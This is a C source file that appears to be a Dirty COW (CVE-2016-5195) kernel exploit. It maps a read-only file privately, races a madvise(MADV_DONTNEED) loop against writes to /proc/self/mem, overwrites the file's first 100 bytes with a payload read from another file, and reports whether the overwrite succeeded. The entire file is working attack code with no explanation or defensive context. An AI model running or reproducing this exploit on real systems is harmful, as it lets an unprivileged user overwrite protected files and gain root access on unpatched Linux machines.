// dcw_mem2.c - EXACT classic dirtycow-poc (single write, tight madvise, page0)
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>
void *map; long plen; char *payload;
void *madviseThread(void *arg){ int i,c=0; for(i=0;i<1000000;i++) c+=madvise(map,100,MADV_DONTNEED); return NULL; }
int main(int argc,char *argv[]){
  if(argc<3) return 1;
  FILE *fp=fopen(argv[2],"rb"); if(!fp){perror("fopen");return 1;}
  fseek(fp,0,SEEK_END); plen=ftell(fp); rewind(fp); payload=malloc(plen);
  fread(payload,1,plen,fp); fclose(fp);
  printf("payload %ld\n",plen);
  int f=open(argv[1],O_RDONLY); if(f<0){perror("open");return 1;}
  struct stat st; fstat(f,&st);
  map=mmap(NULL,st.st_size+sizeof(long),PROT_READ|PROT_WRITE,MAP_PRIVATE,f,0);
  if(map==MAP_FAILED){perror("mmap");return 1;}
  printf("mmap %lx\n",(unsigned long)map);
  pthread_t pth; pthread_create(&pth,NULL,madviseThread,map);
  int fm=open("/proc/self/mem",O_RDWR); if(fm<0){perror("mem");return 1;}
  // single write of first 100 bytes, racing madvise thread
  lseek(fm,(loff_t)map,SEEK_SET);
  ssize_t w=write(fm,payload,100); fprintf(stderr,"errno=%d\n",errno);
  // verify first 100 bytes
  char *b=malloc(100); lseek(f,0,SEEK_SET); ssize_t r=read(f,b,100);
  int ok=(r==100 && memcmp(b,payload,100)==0);
  printf("wrote %zd verify %d\n",w,ok);
  return ok?0:1;
}
